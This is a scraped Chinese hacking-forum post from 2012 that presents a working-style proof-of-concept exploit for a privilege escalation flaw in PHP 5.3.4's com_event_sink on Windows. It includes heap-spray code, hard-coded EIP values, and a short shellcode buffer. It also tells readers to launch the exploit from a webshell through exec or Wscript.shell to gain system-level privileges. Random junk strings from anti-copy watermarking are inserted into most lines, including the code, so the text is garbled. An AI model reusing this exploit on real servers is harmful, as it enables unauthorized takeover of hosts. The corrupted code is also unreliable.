找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2159|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中% H. ~0 m+ X4 U! k7 E

. W8 N! Q/ v% M4 l# P测试方法如下:cmd /c x:\php\php.exe x:\test.php
% j+ A: B+ W( o4 h" {8 z( V: e9 D5 @5 G
- n; I5 f# O' f6 M. y; K. _% m5 w* v% k下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php2 `" u; I& C; J% i
这里是两个测试的截图:3 L* i. `" p- U( E6 l
  f2 m1 j1 ?6 g& Q) Y. d$ Y
  s2 |, U1 D' r

4 n. Y; J3 {+ B  J+ H5 y+ }; _0 D2 a; h) ]5 Q: I8 t

; o+ |% u; f# o/ r5 w3 x6 X成功利用此漏洞的攻击者将获得系统的最高权限
$ g- t+ `5 ~- w8 [& N# q* B! j. v8 o4 p; Z% J* V. L

1 ]! x4 r2 r# Y3 G
9 v! C7 h$ c6 z" l) |& |3 v+ a5 K$ b0 B" R

  h. ^! [7 v. L1 v关于漏洞分析稍后附上。一下是PoC代码:# O5 L3 t& r8 z; r- h  o0 \1 ?! O* B
  ~. ]$ t, L+ t. x
<?php& }. B: {$ ]" [1 ^, N
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 u# C3 t' c2 h* L//$eip ="\x44\x43\x42\x41";
) u3 @$ Q0 r) F8 v8 v/ Z$eip= "\x4b\xe8\x57\x78";+ S) }2 l0 ~5 e
$eax ="\x80\x01\x8d\x04";1 }/ p, J- c5 O9 B" v8 k7 @4 @
$deodrant="";
. S+ Q0 [  t: f6 k$axespray = str_repeat($eip.$eax,0x80);6 R, S& _6 ^1 d  f6 f0 D& ]
//048d01905 v" d: r* _4 G* k+ _; i) d
echo strlen($axespray);; V4 ]* i5 R; m: K
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
+ v4 B0 ]1 h5 [( M$ _1 [3 Zecho "Silic Group Hacker Army - BlackBap.Org";1 P/ n  ]* G- p3 B5 j  E7 d
//19200 ==4B32 4b00
( @, B) v" w5 V2 j# L4 cfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
* ]& n4 R, k/ m; ]7 I6 d$terminate = "T";$ O1 q* W  |$ r! H5 L1 h
$u[] =$deodrant;+ M7 d8 c2 U0 u$ L( I
$r[] =$deodrant.$terminate;1 A) a+ k. A! C* ^" F" u0 S
$a[] =$deodrant.$terminate;
' y7 ]2 d) R, e$s[] =$deodrant.$terminate;
* L/ z- ^/ `' d5 U( N//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的3 A: v1 o, [) G8 K/ x5 F- E
$vVar = new VARIANT(0x048d0000+180);
( x! a1 E7 U) D//弹窗代码(Shellcode)- B2 E; f; `( n) _4 \: T& Q
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";# v, w6 U: s& r8 N- `4 Y3 W. Y7 T
$var2 = new VARIANT(0x41414242);* E, G0 t( t; x! K: Y' V
com_event_sink($vVar,$var2,$buffer);9 I' [+ [2 V$ v% t
?>
# W6 v# F5 d& o! W0 `+ W

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表